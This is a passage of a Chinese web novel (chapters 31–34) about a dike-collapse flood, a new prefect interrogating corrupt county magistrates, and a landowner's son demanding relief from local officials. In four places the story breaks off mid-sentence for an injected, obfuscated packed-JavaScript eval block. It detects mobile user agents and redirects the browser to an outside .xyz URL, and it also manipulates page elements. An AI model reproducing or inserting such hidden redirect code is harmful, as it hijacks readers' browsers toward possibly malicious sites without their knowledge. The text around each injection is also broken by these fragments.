不多时，几名小吏接连入堂，一人未至，声音先至—— “大人！小人是清阳县吏，夜来水势猛涨，东郊堤坝崩裂，田地被淹，眼见要漫进村口了，县令让我火速来报！” 紧随其后，汀水县吏也跪下：“禀大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068450|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，汀水南岸昨夜冲了一道大口，水直灌入集镇，已有百余人连夜转移，乡兵拦不住！还请大人定夺！” 再后头一人气喘吁吁，额上不知是汗珠还是雨水：“禀，禀大人——南沅三岔口那道旧堤塌了，巡堤人半夜来报，堤脚塌得快！县尊已命人加堵，可人手不足，怕是撑不过今晚！” 几人跪成一排，衣襟皆带泥水，话声重叠，一时间急报如潮，将书房内压得气都喘不过来。 瞿宝砚起身，目光掠过那一排惊慌面孔，最后停在墙上的那张地界图。 她负手低声道：“从丰安、清阳、汀水到南沅……水是一路往东南泄的——” 又望向窗外昏白天色：“若三县全部失守，照这势头，无一处拦得住，水就要入琅州了。” 屋中登时一震，有人低呼：“糟了……那可是梧川道的地界！” “这，这朝廷要是问罪下来——” 瞿宝砚看向那小吏，打断了他的话，语声沉静：“你们都在想，朝廷要是问罪下来，你们该怎么办？” 那小吏立即噤了声。 瞿宝砚背过手，语声渐寒：“渌州境内大小堤坝三十六处，固口十七，年年申报修缮、年年核拨银两——” “可这些年修出来的，就是这等荒唐玩意儿？” “连夜溃堤，我堵的了一处，却堵不了十几处。水势一泄冲入琅州，一路七八个县，多少良田顷刻被淹，多少屋舍顷刻倒塌，多少百姓好不容易攒下的口粮、牲口、家什，一夜之间，全都没了。” “甚至命都没了。” “他们一年到头风里雨里辛苦耕作，交粮纳赋，到头来换的，却是一场汹涌大水，把什么都带走了。” “这些账，谁来赔？谁担得起？谁来替他们想想该怎么办？” “不要说朝廷问罪，就是现在将你们一个个都拖出去斩了，也填不平这滔天水患！” · 琅州。 正午，日光被雨帘拦在云后，整个西南角天色阴沉，仿佛天幕破了一个角。 屋瓦如擂，水声密集如鼓。 季家宅第坐落于琅州城南，朱漆门楼，高脊飞檐，前院三重，后院五进，照壁上嵌着白石双狮，虽年久不新，气势却未减半分。 院中黄杨夹道，榴柿成荫，此时正是雨季，水珠顺着红叶脉络滴落，落在石阶上碎成一片湿光。地上青砖密实，水迹虽重，却不显泥泞。 天光灰白，沉沉罩在廊宇上方，一派寂静。但此刻，再高的墙也挡不住外头的喧哗。 院角门猛拍三声，紧接着小厮一路冲进后院：“爷！不好啦！不好啦！” 季凌也才起，和着中衣半躺在罗榻上，正逗着鸟，闻言蹙眉抬头，啧了一声：“怎么了怎么了？一大早吵吵嚷嚷的，什么不好不好，大清早的兴致都尽被你喊没了！” 小厮气喘吁吁，满身水气还未干，脸色泛白：“爷，不好了！外头挤满了人，说是咱们的地全淹了！说是，说是西林那块，连通村几户人家的地也全泡了——昨晚一下子灌的，水比人高。好几户佃户全家跑来府上求见，眼见着庄稼翻水里全没了！” 31. 一泄千里2 闻言，季凌也立马一改闲态，起身穿衣，赤脚踩在地上，边穿鞋边蹙眉道：“淹水了？好端端的怎么淹了水？人都在哪儿？有没有人出事？” 小厮回说：“夫人已经将门口的人都安置下来了，正歇着呢，让我来叫您去前厅议事，老爷也在。” 小厮话还没说完，季凌也披上外袍半只脚都跨出院门口了。 前厅香灯微晃，案上茶气袅袅，雨声在外头落得沉。 主位上，姚云霜一身墨青常服，身形挺拔，眉目沉静。高绾的鬓发间斜插一支老银簪，簪尾磨圆，像是常年随手惯用的兵器。她神色不动，正听着家仆低声禀报： “……说是昨夜起的水，今早已过了田埂，西林甘村全淹了，几处垄沟塌了，牛棚倒了七座，牲口来不及救，也全给冲走了。” 帘子一掀，季凌也正大步进来。 姚云霜抬眸：“来了？来得正好。” 季凌也拧着眉：“就下了几天雨，哪儿来的水这么大？琅州哪年闹过水？肯定是上游干的——是不是渌州那边，把水往咱这儿放了？” 姚云霜语声稳沉：“话不能说早，得查清了才知道。可这水来得急，也来得狠，咱们这带十年都没被淹过——怕不是一夜的事。依我看，八成，是上游出事了。” 季天峰在旁也叹了口气：“恐怕是堤塌了——” “堤塌了？”季凌也刚坐下，闻言脸色一沉，一掌拍上案“蹭”地又蹿了起来： “他妈的……渌州那帮王八羔子，修堤的钱也敢吞？贪也贪个分寸，这一下水冲下来，要死多少种庄的！拿人命换银子也不怕天打雷劈不得好死！连我们琅州也跟着遭殃，真他娘的……” 姚云霜一听她儿子这放雷似的骂声头就开始疼，“啧”了一声，抬眼朝季凌也瞪去，“啪”得一拍桌，反镇得旁边的季天峰一激灵：“闭嘴！动不动就开口骂街，还嫌你那名声不够臭的！张嘴就骂娘，你老娘还坐这儿呢！” 季凌也一噎收了声，摸了摸鼻子，嘟囔一句：“我那不是气着了吗，再说，骂得又不是我自己的娘……” 姚云霜袖子一撸：“你还有理了？你这臭毛病什么给我改过来？你看看十里八乡哪个姑娘听了你的名字不是拔腿就跑的，谁待见你？要不是今天事情急，看老娘教不教训你——” 季天峰赶紧上前安抚：“夫人息怒，夫人息怒，凌也这不也是义愤填膺吗，人气急了有时确实会口不择言。” 姚云霜这才收了些怒气：“他那是一时口不择言吗？根本就是句句不离口！书没读过几日，我都不知道这些骂人的话他是从哪儿学来的。他要是成了一开口的习惯，就是想改也改不了了，有他后悔的时候——” “好好好，娘亲说的是，我改，我改，我立马改还不成——”季凌也瞥了眼主座的姚云霜的脸色，也知道顺着台阶下，又扫了眼屋外，说回正事：“老乡们都来了？” 季天峰接道：“都在门房歇着，没人闹事，都只是唉声叹气的。” 姚云霜顿了顿，看向门外的大雨：“朝里朝外，真要出事，官靠不住，他们也只能找你了。” 季凌也捏了捏拳，没说话。 姚云霜收回目光，当即吩咐：“叫你来是要你现在立刻走一趟，把灾情看清楚了、情况也给我问明白，顺道把话带到村里——” “告诉老乡们：天真要塌窟窿，我季家也不怕，不会让一个人饿死。眼下先保人，再算田，家里自有办法。” 季凌也眼神一敛，站起身，声音低了几分：“行，我这就走。” 刚迈出门槛，身后传来姚云霜一句：“要是碰到衙门的人，你脾气给我敛着点，叫你去撑事，不是叫你去砸门的。” “知道了！”季凌也头也不回，甩手一句，“我心里有数——就是真要砸，也是完事了再砸！” · 雨像是一整片天翻下来的。 云压得极低，水雾在远处村头蒸起一层白气，天地之间混成一块，看不清远近。 季凌也一骑当先，翻身上马时衣袍尚干，转眼已被风雨扑湿。 那匹黑马高大健壮，踏水而行，四蹄踏得泥浆四溅，身后两名管事紧随其后，泥点都溅到了颈边。 “驾！” 一声马鞭响，他策马直冲在前。 城南大道早已积水，低洼处成了明沟暗渠，树影乱摇，道边草木倒伏如跪。路旁村民远远避让，仿佛风雨中冲出的不是马队，而是一股煞气。 有狗在远处狂吠，又被雷声轰得一哑。 风裹着水打在脸上，季凌也却连雨帽也不带，乌发微散，眼神紧绷，盯着前方不动如石。雨水顺着马鬃滴落，泥泞飞溅如弦，踏进一片混沌的原野。 雨越来越大，连耳中都只听得见“哗——哗——”的水响，仿佛整个天幕都在泄洪。 管事在后头高喊：“爷！路下怕有淤陷，您小心着些——” 季凌也只甩了马鞭一下，声音透风透雨，冷厉如刀： “注意着点就行！” 一骑如箭，风雨中踏开水声，直往西林方向疾驰。 一入西林与甘村交界处，便觉脚下地势微斜，雨水顺着沟渠漫溢而出，溢进田里，田不成田，地不见界。 空气里是一股发酸的水汽混着烂泥味，草根浮动，虫尸翻卷，偶有稻秆挣扎露出半截青黄。篱笆断了，竹竿也东倒西歪，几口鱼塘全淹没，田埂也像被雨水泡软，一脚踩下去，水浆立刻冒上泡来。 这原本是一片好地，种的是最早抽穗的早谷，一到时节，风一过，绿浪千层。如今却只剩满目荒黄，浮叶裹水，死寂一片。 几个村民正站在田埂上，衣衫湿透，裤脚卷到膝，脚底一动一滑，身上溅满了泥，脸上还滴着水，却似浑然不觉。有个老汉一见季凌也来了，认得他面孔，刚起身却又颤颤跌坐在地，哭喊道： “季小爷——田没了，大水一冲全没了，咱今年的粮怕是也完了，交不了了！” “俺家那几亩早谷，眼瞅着刚抽穗，就这一夜，全泡烂了，根都翻出来了！天杀的大水诶——” “牲口也淹了，牛棚塌一半，鸡鸭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081044|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也都跑没了，人是跑出来了，可命都吓虚了……” 季凌也翻身下马，脚一落地，靴子就陷进了淤泥。他眉眼低垂，看着面前这一片田地，神色端凝。 一老妇哆嗦着递上两把被水泡烂的稻谷：“你瞧，原是今秋要收的……如今这水一冲，田埂塌了，谷芽也都黑了，怕是一株都活不了了……” 有人在一旁呜呜哭，声音闷在雨里，说不出话来。 季凌也接过那稻谷，却没有开口。他站在雨水和泥浆之中，眼神落在那被水冲开的大沟口上。 那儿的泥壁裸露，像是从里头撕开的。水沿着断口倒灌，冲出一片白沫。谷根翻在上面，像一群被扯掉命脉的东西。 他指节紧了紧，低声问一句：“什么时候灌的？” “后半夜。”一人站出来，嗓子哑着，“俺们都睡着呢，听见水声冲得像牛叫，跑出去一看，全完了。” “上头没来人？” “谁会来？”那人叹道，“都说是渌州那边泄了水，县里现在也没个衙门人影。季小爷，咱们……这得怎么办啊？这房屋没了，地也没了，你说咱们住哪儿吃什么，这不是要我们的命么——” 季凌也看着站在泥水中的人们，目光扫过一张张脸，有老有少，有的人眼角发红，有人浑身都在发抖。 他沉声开口，声音不大，却压过了砸地的雨声：“老乡们放心，你们把田卖给我季家，是信得过我们。咱们不是一锄头刮两头的地主，也不是那种逢灾就撂担子的主家。” “这水是天灾，可人不是天命养的——既然这些地落到我们季家手上，每年你们都按时种、按时收，如今出了事，季家绝不会坐视不管。” 人群中渐渐安静下来，几个老人抹着眼泪，有人已经低声啜泣。 “打今儿个起，”季凌也语声更沉，“我季家不会让一个种田的老乡饿肚子，天塌下来，官府不管，也有我们撑着。” 他环视四周：“这片地怕是还要涨水，你们先撤，不要留恋粮仓畜，命要紧。水容易躲，一旦染了病就麻烦了。” “家被淹了，没处去的，就上季府。季家有不少宅子可以给大家落脚，不用什么信物——就说我季小爷说的！” “谁不让进，回头我来问他。” 话说到这，田埂边已经有人跪下磕头：“谢谢季小爷……季家真是活菩萨啊……” “活菩萨——” 季凌也翻身上马，身上雨水顺着袍摆滴下，溅入泥水中。 “我先去县衙问问，看他们打算怎么处理这场水。”他勒紧缰绳，马头一转，冷风中声音回荡在雨里：“你们安心就好，今儿这事，我季凌也管定了！” 话音落，马蹄翻起水花，人已在雨里远去。 季凌也勒着马疾行，一路自田地奔至县署，不用人通报，见着那骑着高头大马的矫健身姿，前头街巷已有小贩边收摊边低声议论：“那不是季小爷吗，这急匆匆一身赤湿的去哪儿呢——” “骑那匹马的是他？哟，从没见过季小爷这狼狈模样啊——” 32. 一泄千里3 “就是他！那架势还有谁？不过听说这回西林淹得狠，季家那些田地都遭了殃……” “嚯，去的是县衙，看来这是找县令问话去了——” 话未落，马蹄已到街口。 县衙门前，门楼斑驳，雨声淅沥。 门外有几名乡民淋雨候着，没人搭理，守门的兵丁正缩在屋檐下赌钱，听到马声一探头，见到来人惊得立马跳起来。 季凌也衣袍已湿透，脸上却未见一滴水。他勒住缰绳，马嘶一声，人未下鞍，声音冷冷砸来： “叫你家知县出来——大水淹田，你们还坐得住？” 门兵闻声脸都白了，忙不迭回身喊：“快、快通传大人，是季家小爷来了！” 县衙里瞬间乱作一团。 季凌也进堂，雨水顺着衣角滴落，靴底裹着泥，一脚踏在廊砖上，带出重响。堂上灯火点了几盏，在风里飘摇，忽明忽暗。 知县秦述年匆匆赶来，袍子没系整，头冠也还歪着，远远便道： “诶哟，季小爷！一时未曾得报，怠慢了爷，失敬失敬——” 他一边拱手赔笑，一边急忙使眼色叫人奉茶。 “你这衙门倒是清闲。” 季凌也抖袖入座，语声冷淡，“西林那头的田全泡了，整个棠溪县都受了灾，百姓站在雨里等了你一天，你倒好，还有心思在这坐着喝茶？” 秦述年脸色一僵，但语气仍柔：“本官也是方才才得到消息啊，非是不理，实在只是灾情突发，我也还未得上头的准信呐……” “没得准信？”季凌也从袖中抽出一把沾泥的谷穗重重甩在案上，声如闷雷：“你看看这稻子！你要不要也下田看看，那‘准信’正在水里飘着呢！” 秦述年脸皮一抽，面上赔笑却不敢接话，只得又低声劝慰：“季小爷息怒……本官也不是不管事，而是——这次的水，是从···渌州塌下来的。” 他抬眼看了季凌也一眼：“咱们琅州属下游，泄水本不该冲入此带，若不是渌州北口失守，也不至于连累我境——此为灾因在上，不敢妄动，恐越职分……须得等州里发话，本官不过一县令，实在做不了那么大的主。” 这一套推托的话术，软得像泥，滑得像油。 季凌也最讨厌这种打着官腔的废话，只当他是在放屁，冷笑：“说得挺轻巧，合着这水是从天上下的，所以跟你一点关系都没有咯。” “你要是当官就这点用，不如趁早卷包走人！别坐这儿占着茅坑不拉屎！” “说句废话都给你脸了。上游塌了堤，你不是不知道吗？下游冲了田，你官府人呢？百姓跑来哭，你倒好，一句‘等州里发话’，翘着腿坐府里两手一撒什么也不管，还他娘的‘不敢越职’——要是只会装聋作哑，不如让条狗来当官，起码给爷叫几声！” 秦述年脸上笑意僵住，眼底也冷了几分，但到底还是得迎着。 琅州一带，没人不知道这位季小爷是出了名的脾气臭，讲话不留情面。“江南一霸”的名号，不是白叫的。 季家在琅州扎根数十年，田地铺到五县交界，粮仓开得比官府还阔。年年赋税从未短过，逢节逢事还有“意思银子”上下照拂。衙门里但凡换个主官，头一桩都是拜帖递到季府。 地方小吏嘴上不敢说，心里却都认了——这琅州地头上，半分看州府，半分看季家。 季家的地，不只靠收；雇人、养牲、修桥筑堤、赈荒救灾年年不断。老百姓虽说嘴上怕这位爷，心里倒没几个不服的——横是横，可没干过什么缺德事。 要说他秦述年能在这小小知县的位置上坐得稳当，也不是全靠青天老爷，靠的是背后几户“能办事”的人情，而季家，排头一个。 可没想到——今儿这位一上堂来，连一句场面话都不肯给，张口便是翻案桌的气势，把他这个好歹算是“父母官”的骂得头都快抬不起来。 秦述年心头一拧，脸色也收了几分，赔笑的弧度渐冷，语气也转得硬了些： “季小爷这脾气，倒真是厉害。下官一个县令，自认管不了这等大事。既然季小爷本事大，不如直接去州府衙门问问，看看这场水灾到底该怎么个‘管法’。” 季凌也嗤声一笑：“管不了是吧。” 他手中马鞭一抖：“行，等着。” 话一扔，转身就走，衣袍被雨风一卷，脚步一重，连衙门廊下的灯都跟着晃了一晃。 · 琅州知州府。 一阵马蹄破水而至，溅起一地污泥，惊得前院看门的两名小吏猛地抬头望去。 一人张口便道：“知州大人今日不见客——” 季凌也抬手抹了把脸上的雨水，眯眼冷笑，马鞭一指：“睁大你的狗眼看看清楚爷是谁。” 那小吏一怔，认出是季凌也，脸色一变，连忙转身疾走：“快快去通报！” 堂中屏风半掩，知州韩令正倚榻看折子，闻言只是略一点头： “是季公子，叫他进来吧。” 片刻后，门帘一掀，季凌也踏进厅中，靴底还带着水，雨气沿着他袍角一路滴到地砖上。人未坐下，神情还带着压火的三分冷凛。 韩令放下茶盏，朝他略一点头，缓声道：“季公子今日来，想必为的是那几处冲水的田地吧？” 季凌也一顿，语气缓了几分：“韩大人都知道了？” “府里今早便接到消息。”韩令不紧不慢，“我已经派人赶去几处乡口查看了。地势我也清楚，那一带向来低洼，要是渌州那边真塌了，咱们这儿也是拦不住的——你这趟白跑一遭，不过也不必太担心，这水也淹不到其他地方去了。” 他说着，又略一皱眉，看向季凌也的身上，语气带了点调侃：“这是从哪儿杀过来的？这身雨水，倒浸得比那田还狠。” 说罢，偏头吩咐下人去后院备衣。 季凌也站着没动，拢了拢衣襟，摇头道：“不必了，沾点水不碍事。我刚从县衙那边来——” 说着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088224|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气一顿，冷哼一声：“县里遭水淹了，百姓都泡在水里站着，就等人来主事。可县衙呢？连个人影子都没有，我一进去竟还闲坐在堂上喝茶，等上头‘发话’。” “说得好听，叫什么‘不敢越职’，我看就是胆子小、心也滑。真出了事，也是第一个躲的！” 韩令一听，笑了笑，似是早料到：“你那性子，秦县令动作是慢了点，脑子也一时转不过弯来，人倒不坏。” “他身上那点毛病，我看得比你清楚——只是不比你，打小就生在风口上。你要火，就冲天去，他敢吗？” 季凌也抿了抿唇，没说话。 韩令又道：“年轻人有火气是好事。但这火气往哪儿使，怎么个使法，总得拎得清。” 说着，他语气放缓，话锋一转，轻轻叹了一声：“这回的事，说句公道话——真不在咱琅州。” “听说渌州那头连塌了几处堤，一夜之间冲了五个县。水来得急，泄洪不报、疏导不当，才往南头灌下来。咱这边棠溪县首当其冲，霁阳、怀陵两个县也遭了灾。” “我们能救是尽力救了，府里也不是没安排，只是雨势凶、地势低，恐怕没那么快……真要论起这第一道错口——确实是在上面。” 韩令话音一顿，似是随口一提：“听说渌州这回新上任的知州，还是今科状元。刚履任没几日，京里下来的未必摸得准地方的水脉民情啊。倒不是说她不好——只是新人上任，总有个摸索阶段。咱琅州虽倒了霉，但这口气，也还得往渌州那边问去，总不能吃这个哑巴亏···” 听到“今科状元”四个字，季凌也按在鞭柄上的指尖轻轻一顿，脑海里不知为何，莫名浮现出那日放榜游街的画面。 人潮如织，飞花如雨。 那人一身红袍，从人群中缓缓骑过。 他低眸，长睫覆下一道阴影，面色仍似如常。 “霁阳、怀陵也淹了？”他又问。 韩令微微颔首：“中午传过来的急信，虽不及棠溪严重，但田地也是泡了不少。” 季凌也没再多问，手里马鞭轻轻敲着掌心：“我们家在那几县也有些地。老乡们来求季家，季家绝不会作视不理。人都找上门了，我总得有个说法。” 韩令点头：“我知道。你那些地被淹了不少，季家佃户多，老实人也多。既然出事了，我这头也不会装聋作哑。” 他说着，从一旁案上抽出一页文书：“今年你们季家的征赋，我准你缓三成。仓里先拨一笔赈粮，你出头安人心，我后头给你兜着。” “你那性子我也知道——不过今日算是给我一个面子，收一收罢。” 堂中一时安静。 季凌也收了鞭子，抱拳低声道：“多谢韩大人。” 韩令摆了摆手，笑道：“甭谢得早，真要问账……你不是脾气大么？正好，过两天就同我府衙里的人一道，走一趟渌州罢。” 季凌也微愣，挑了挑眉，随即道： “好。” 33. 坐镇堂前 渌州衙门大堂之上，难得座无虚席。 一时间公服如海，肃然无声。 堂下列坐者皆穿朝服，袍带整肃，众人心中自知今日不是寻常例会，神色各异，却都不敢失仪。 州中守备司、州尉司、工曹厅、库司、工营统领尽数到齐，座于前排。 五县知县分坐其后，清阳、汀水、南沅三县一夜堤崩，灾情最重，几位知县心知难辞其咎，此刻面色如土，有些坐立难安；而丰安、岳临二县虽无堤口决断之祸，然皆遭水淹，也断不敢自诩幸免。 堂上主位，瞿宝砚端坐其中。 一身宝蓝色五品知州官服，头顶乌纱帽，神情如山，压得满堂气息凝滞。 堂下无一人敢擅动—— 她缓缓放下手中一卷急报，眼神自堂下一一扫过，开口道： “昨夜至今，渌州一夜三溃，水患甚至波及琅州，民生惊乱，百姓流离。” “今日召诸位来此，是要问个明白。” “渌州境内堤防三十六处，年年修，年年拨，银两不知花了多少——修出来的，便是这样一夜溃散、寸草不留的废土？” 她语声并不高，然而落在堂中众人耳中，却句句如钟。 她目光落定在三县知县身上：“清阳、汀水、南沅。诸位所辖，堤口几道？堤基何年所修？上月可曾验视？若知今年雨季将至，为何毫无防范？” 三人一时面面相觑，皆不敢先言。 瞿宝砚的目光缓缓落向清阳县位上的知县，语声沉稳：“清阳堤决，东郊水涌，何时巡查，何人报事，为何未能预警？” 那清阳县令名唤钱世卿，年过五旬，头发梳得油亮，平日最善迎来送往，此刻却满脸惶急，额角隐有汗珠。他起身作揖，语中带着哽咽： “回大人……县里巡堤之人，的确每夜查验，奈何昨夜暴雨，堤下土松石碎，才致溃口……小人知罪，实是罪责难逃！但百姓已尽力疏散，所幸无一人殒命，还请大人明察——” 瞿宝砚：“无一人殒命，百姓是你亲自救的？据本州所查，东郊那段堤口，自上年暮秋起三度漏水，县衙以‘轻损不修’为由，三次压案。” 她拈起一页黄册：“巡堤人是你族中之人钱瑞，月俸六两，三年不曾换人，报灾每次不晚不早，恰压在查旬之外，你若不知，便是无能；你若知情，便是共谋。” “这明察的结果可还满意？” 钱世卿脸色惨白，冷汗涔涔，话再开不了口。 瞿宝砚的目光又落至汀水县令温咏初身上。 温咏初一身文人气，他起身时，声音略带虚弱：“禀大人……汀水一线，堤防老旧，几次上报修缮，皆因银两紧缺被搁，民力又乏，只得将旧土回夯，凑合使用，昨夜水涨太急，实是人力难敌。” 他略顿一下，又低声补一句：“官司虽小，实无不愿为之心，唯是力不能胜。” “银两紧缺？”瞿宝砚淡淡一笑，却没有笑意，“你当本官新任，便不会翻旧帐。本州昨日夜审库司记事，汀水县在今年三月已拨五百两专银为‘南岸堤改修案’，你可要我把预算细目亲自念给你听听？” 她随手一摊，淡声道：“帐上写‘混土加沙，三层加筑’，结果水一冲就塌，那五百两去了哪？是堤里，还是你的府里？” 温咏初唇角抖动，膝下一软，几乎跪倒。 前几日刚被问罪的郑寿安等人，默默互视一眼，连忙低下头。 杜登远咬牙站起，拱手道：“大人责问得是。南沅三岔口那段堤，是五年前大水后临时修的，一直拖未补……小人上任才一载，账面旧册理不清，谁做的，谁批的，小人至今没查明。” “前夜我自己上堤带人抢堵，没拦住，是我本事不济。但大人若问旧账，请将前任旧吏一并唤来，我杜某人不替他人背锅！” 瞿宝砚抬眼看着他：“倒还有几分担当。” 随即语锋一转：“但你既知堤为旧损，上任一年，为何不曾上报一句？只因‘前人之事’与你无关？你身为县令，堤在你县，人在你辖，便是前人失责，也轮不到你置身事外。本州所查，那塌口处，堤内埋有三条尚未报账的石基，修于去年秋。可巧得很，开工批文上，几名工头皆是你亲批——且是你门下熟人之子。你说说，这笔账，如何算？” 杜登远脸色顿变，眼神一滞，深吸口气，片刻后又道：“大人教训得是……但若一事一清、一人一断，府里上下这些年盘根错节，多少旧人情、旧关系，若要一刀斩断，怕是……这官，也没人做得下去了。” 他一偏头，咬牙：“毕竟，我们也不是铁石心肠之人。水里是百姓，堤上……那也都是乡里乡亲。” 杜登远话音一落，堂上竟隐隐有几人点头，显是颇有同感。 瞿宝砚听着，眉目不动，语声静静响起：“你说人情——” “人情，是你府里一封薄礼送到库司，帐面多批了二百两银子？还是工曹厅里那位与你同乡的旧吏，年年批你南沅多拨工丁，却从无实工到位？” “若你要是真讲人情，把堤修好了，百姓安稳了，你批工给谁，怎么批，我自不会过问，可你这些年替人情睁一只眼闭一只眼，如今睁眼一看，水把百姓的房子冲了，田也冲了。” “明年春上，朝廷要收的地丁税、粮折银，一文也收不上来。地方亏空，户部要查账，刑部要问案，巡抚的折子一封封往上递，到时候，你那人情能替你把亏空补上？” 杜登远神情剧震，一句话也说不出。 瞿宝砚淡声道：“你那不叫人情，叫私情。你那是拿着百姓的血汗，只替送银子的人讲情。” 话音一落，四座俱静，大气不敢出一声。 瞿宝砚看向底下众人，语气缓而不松：“我知你们心中颇有不服，觉得我新官上任，借水施威。可你们若真是被我一句话、几道折子就吓倒，那也不配坐在此地了。” “可我也要你们看清楚了——如今局势，不是布吓，是摆在眼前，不得不怕。” “渌州五县，此番皆遭水患，清阳、汀水、南沅三县堤溃成灾，丰安、岳临虽无堤口崩断，但农田也已尽数淹没，民心惶惶。” “按往年亩收来算，此一劫，五县田禾折半，仓储难满，百姓颗粒无收。” 她手指轻点案上：“州中秋粮将毁，民间仓无余粮。再无济之策，今年岁终， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101119|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州赋难满，税银难上——朝廷收不上钱，户部罚下问责令，你们以为问谁？” “到时候查的不是一人，而是一州。谁批的工，谁验的线，谁签的名。银两流到哪里去，封皮是谁盖的，衙门是谁坐镇的，一道一道，不查清了不会停” “——真要上了刑部，到了法司台，一查到底，是你们几个，能有一人全身而退？” 堂下无人敢言，唯有一股沉沉压迫，缓缓笼罩在这间高悬“为政以德”匾额之下的大堂中。 何恩贵倚坐在席上，抬起眼皮看向堂上，轻哼了一声：“瞿知州一通话头头是道。可说到底，不还是一个‘问罪’二字？” “如今五县皆溃，灾情已成，民怨在前，刑责在后。依我看，咱们在座这些人——哪一个是无辜的？倒也不必再分什么责与不责。依大人之意，大家一处担着好了。” “大不了一起上断头台——” 旁边的伍秋才闻言，眼皮一跳，忙低声在席间暗掐了何恩贵一眼：“何大人，慎言哪……这修堤的事跟我守备司素无干系，前几日抢水救水的累活也是我们干尽了，若真要上折担责，那也该是谁修的谁上，别不分黑白地把谁都一并拉下水——” 何恩贵听罢，扯了扯嘴角：“伍大人还真是识时务——你若真要撇清干系，那当初修堤时你守备司派的丁壮是来巡堤的，还是来喝茶的，也该给个说法吧？” “胡说八道，你有证据吗！” 眼看底下就要骚乱起来，瞿宝砚抬手打断：“何典史也不必如此急着上断头台——事到如今，死容易，活才难。” 底下何恩贵和伍秋才各自冷哼一声，一左一右扭过头去，不再出声。 瞿宝砚语声稳沉：“今日我叫诸位来，不是为了说一通空话，也不是来斩人的。水灾在前，命最要紧。人未救完，灾情未定，本官不会轻诛一人。” “朝廷要收税，确实要交代，那也是年末之事。可流离失所的百姓，淹毁的田地才是眼下要解决的事；五县田地尽毁，收成便断了——百姓没粮，便饿肚子；一旦饿肚子，便要出事。” 堂下有人咽了口唾沫，低语：“水不能退，田不能耕，那要怎么办？粮食总不能凭空出现吧。” 瞿宝砚目光落定：“说得对。水不能退，田不能耕，为什么本官下调令要抢救百姓，因为堤是人修的，田也是人种的，只要人还活着，就是活路。” 此言一出，堂下众官面面相觑，神色不明。 李秉德沉吟片刻，拱手道：“大人之言有理。只是眼下仓空民散，百事待举，还请知州大人明示——此‘活路’当如何走？” 瞿宝砚未急着应声，只缓缓起身。 门外两名小吏已候在侧，手捧布杆，提步入堂，合力展开一幅巨幅的《渌州总图》，于堂前支立。 瞿宝砚走到图前，指尖轻点其上，拂过诸县位置，语声平稳： “渌州共辖十三县，分上中下三道，北接河安，南接琅州，西连原郡，东濒潋水。人口四十六万，其中五县今受灾最重，计清阳、丰安、汀水、南沅、岳临，共计九万六千七百户，占全州近四成。” 堂下一静，视线都凝在图上。 34. 坐镇堂前2 瞿宝砚：“这五县，田地尽淹，仓储告罄。若坐等，先等到的不是朝廷救济，而是溃散的人心。” 堂下有人低声道：“可五县仓粮本就有限，眼下田毁，春收又没了——这几十万灾民，吃一天是一日，吃十天便是坐吃山空。” “难不成……要向邻州借粮？就算人家愿意借，可人家的仓也不是无底洞啊。” 瞿宝砚抬眼看向满堂官员：“此时此刻，数字不能估，要精。每人每日几升、几户几口、仓中几石，皆要心中有数。” 说罢看向李秉德，李秉德接言道：“下官昨日清点了各县仓储，清阳仓尚余九千六百石，汀水七千二，南沅五千余，丰安、岳临各一万，合计四万三千石。” “若按每人每日两升米计，旬月之内，也足可赈济十三至十五万灾民。” 瞿宝砚微微颔首：“旬月，争的是时间。” “灾民不是包袱，而是我渌州灾后重建的主力。” “如今水灾刚起，局势尚还可控。旬月之内，需三事并行：一是修堤退水，二是开河疏渠，三是就地设工，以工代赈。” “凡年十六至六十者，身有气力，可随工役。县设工坊，乡设工段，修堤筑岸、清渠排涝、拆危建新，一日一工，发米二升，衣薪另记。” 堂侧书吏飞快记着。 “一户一丁，出工得粮；一户无丁，由里正、甲首代为登记，按人头发半粮，邻里互保，三日一核。” “老弱孕孺不强遣劳，另设义仓，设粥棚，定点发粥，日给一升，护其命脉。” “病残、孤寡，各县造册，拨银设养，绝不使一人因无力而饿毙。” 